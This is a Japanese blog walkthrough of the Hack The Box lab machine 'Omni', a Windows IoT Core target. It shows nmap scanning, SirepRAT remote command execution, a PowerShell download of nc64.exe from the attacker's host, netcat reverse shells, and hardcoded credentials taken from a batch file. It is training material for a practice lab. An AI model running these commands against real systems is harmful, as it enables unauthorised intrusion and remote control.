LoginSignup
1
0

More than 3 years have passed since last update.

【HackTheBox】Omni - Walkthrough -

Last updated at Posted at 2021-01-10

本稿では、Hack The Boxにて提供されている Retired Machines の「Omni」に関する攻略方法(Walkthrough)について検証します。

Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。

マシンの詳細

Omni.jpeg

エグゼクティブサマリー

ツール

  • nmap
  • SirepRAT
  • NetCat
  • Windows Device Portal
  • Import-Clixml

詳細手順

ネットワークサービススキャン

nmap

IPアドレス10.10.10.204omni.htbとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。

kali@kali:~$ nmap -Pn -T4 -A -v omni.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-30 01:41 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating Connect Scan at 01:41
Scanning omni.htb (10.10.10.204) [1000 ports]
Discovered open port 135/tcp on 10.10.10.204
Discovered open port 8080/tcp on 10.10.10.204
Completed Connect Scan at 01:41, 15.04s elapsed (1000 total ports)
Initiating Service scan at 01:41
Scanning 2 services on omni.htb (10.10.10.204)
Completed Service scan at 01:41, 7.33s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.204.
Initiating NSE at 01:41
Completed NSE at 01:41, 4.82s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.82s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Nmap scan report for omni.htb (10.10.10.204)
Host is up (0.21s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
135/tcp  open  msrpc   Microsoft Windows RPC
8080/tcp open  upnp    Microsoft IIS httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.87 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
135/tcp msrpc Microsoft Windows RPC
8080/tcp upnp Microsoft IIS httpd

HTTPサービスのスキャン

Firefoxブラウザを使って8080/tcpにアクセスしてみます。Windows Device Portalの表記からomni.htbWindows IoT Coreであることが特定できました。
しかし、認証画面の先に進むための情報はまだ得られていません。
omni.png

SirepRAT

SirepRAT - RCE as SYSTEM on Windows IoT Core」を使ってみます。

pipをインストールし、不足しているモジュールを導入します。

kali@kali:~$ sudo pip install hexdump
kali@kali:~$ sudo pip install enum
kali@kali:~$ sudo pip install enum34

Web ShellのGitHubリポジトリを取得します。

kali@kali:~$ git clone https://github.com/SafeBreach-Labs/SirepRAT

SirepRAT.pyコマンドにて、システム情報の取得を試みます。コマンド構文は次のとおりです。

kali@kali:~$ python SirepRAT.py 10.10.10.204 GetSystemInformationFromDevice
<SystemInformationResult | type: 51, payload length: 32, kv: {'wProductType': 0, 'wServicePackMinor': 2, 'dwBuildNumber': 17763, 'dwOSVersionInfoSize': 0, 'dwMajorVersion': 10, 'wSuiteMask': 0, 'dwPlatformId': 2, 'wReserved': 0, 'wServicePackMajor': 1, 'dwMinorVersion': 0, 'szCSDVersion': 0}>

SirepRAT.pyコマンドにて、Kaliからnc64.exeのダウンロードを行います。

kali@kali:~$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe -Uri http://10.10.14.4:8081/nc64.exe" --v

SirepRAT.png

アクセス権の取得

ユーザーシェルの取得

ポート 1234にてリバースシェルを待ち受けます。

kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...

omni.htbにてリバースシェルを起動します。コマンド構文は次のとおりです。

kali@kali:~$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.4 1234 -e powershell.exe" --v

$env:UserNameコマンドにて、omni$権限のシェルが取得できていることを確認します。

PS C:\windows\system32> $env:UserName
omni$

reverse_shell.png

しかし、omni権限では、user.txtフラグは取得できません。

システム探索

システム探索の結果、r.batファイルがみつかりました。

PS C:\windows\system32> cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"
cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"
PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> ls -force
ls -force


    Directory: C:\Program Files\WindowsPowershell\Modules\PackageManagement


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-----       10/26/2018  11:37 PM                1.0.0.1                       
-a-h--        8/21/2020  12:56 PM            247 r.bat                         


PS C:\Program Files\WindowsPowershell\Modules\PackageManagement>

r.batファイル中に、app/mesh5143administrator/_1nt3rn37ofTh1nGzの情報を見つけました。

PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> cat r.bat
r.bat
@echo off                                                                                                                                                  

:LOOP                                                                                                                                                      

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete                                                  

net user app mesh5143                                                                                                                                      
net user administrator _1nt3rn37ofTh1nGz                                                                                                                   

ping -n 3 127.0.0.1                                                                                                                                        

cls                                                                                                                                                        

GOTO :LOOP                                                                                                                                                 

:EXIT
ユーザー名 パスワード
app mesh5143
administrator _1nt3rn37ofTh1nGz

特権昇格

Windows Device Portal

再び、Firefoxブラウザを使って8080/tcpにアクセスしてみます。認証情報としてapp/mesh5143またはadministrator/_1nt3rn37ofTh1nGzを使用します。
ログインに成功しました。

WinDevPortal.png

NetCatによるリバースシェルの接続

kali側にて、ポート 4321にてリバースシェルを待ち受けます。

kali@kali:~$ nc -lnvp 4321
listening on [any] 4321 ...

Windows Device Portalからリバースシェルを起動します。メニューの[Processes] > [Run command]を選択します。
テキストボックスに次のコマンド構文を入力し、Runボタンをクリックします。

C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.4 4321 -e powershell.exe

Windows Device Portalログイン時に使用したアカウントに応じた権限にてリバースシェルの接続を確立することができました。

PS C:\windows\system32> $env:UserName
app
PS C:\windows\system32> $env:UserName
Administrator

run_command.png

システム探索

app/mesh5143アカウントにて確立したリバースシェルにてシステム探索を行います。
user.txtフラグをC:\Data\Users\appにみつけました。

PS C:\Data\Users\app> ls
ls


    Directory: C:\Data\Users\app


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-r---         7/4/2020   7:28 PM                3D Objects                    
d-r---         7/4/2020   7:28 PM                Documents                     
d-r---         7/4/2020   7:28 PM                Downloads                     
d-----         7/4/2020   7:28 PM                Favorites                     
d-r---         7/4/2020   7:28 PM                Music                         
d-r---         7/4/2020   7:28 PM                Pictures                      
d-r---         7/4/2020   7:28 PM                Videos                        
-ar---         7/4/2020   8:20 PM            344 hardening.txt                 
-ar---         7/4/2020   8:14 PM           1858 iot-admin.xml                 
-ar---         7/4/2020   9:53 PM           1958 user.txt

user.txtファイルの内容は暗号化されています。このままではフラグの登録はできません。

user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>

user.txtファイルとCLIXMLファイルをインポートします。ここでは、$credential変数に格納しています。

$credential変数から、GetNetworkCredential()メソッドを使い、Passwordをとりだします。これでフラグを取得することができました。

PS C:\windows\system32> $credential = Import-CliXml -Path "C:\Data\Users\app\user.txt"
$credential = Import-CliXml -Path "C:\Data\Users\app\user.txt"
PS C:\windows\system32> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
7cfd{BLOCKED}9d70

administrator/_1nt3rn37ofTh1nGzアカウントにて確立したリバースシェルにてシステム探索を行います。
root.txtフラグをC:\Data\Users\administratorにみつけました。

PS C:\Data\Users\administrator> ls
ls


    Directory: C:\Data\Users\administrator


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-r---         7/3/2020  11:23 PM                3D Objects                    
d-r---         7/3/2020  11:23 PM                Documents                     
d-r---         7/3/2020  11:23 PM                Downloads                     
d-----         7/3/2020  11:23 PM                Favorites                     
d-r---         7/3/2020  11:23 PM                Music                         
d-r---         7/3/2020  11:23 PM                Pictures                      
d-r---         7/3/2020  11:23 PM                Videos                        
-ar---         7/4/2020   9:48 PM           1958 root.txt

user.txtファイルと同様に、root.txtファイルの内容は暗号化されています。

root.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS>
    </Props>
  </Obj>
</Objs>

手順は、user.txtファイルと同様です。

PS C:\windows\system32> $credential = Import-CliXml -Path "C:\Data\Users\administrator\root.txt"
$credential = Import-CliXml -Path "C:\Data\Users\administrator\root.txt"
PS C:\windows\system32> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
5dbd{BLOCKED}f11d

参考情報

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0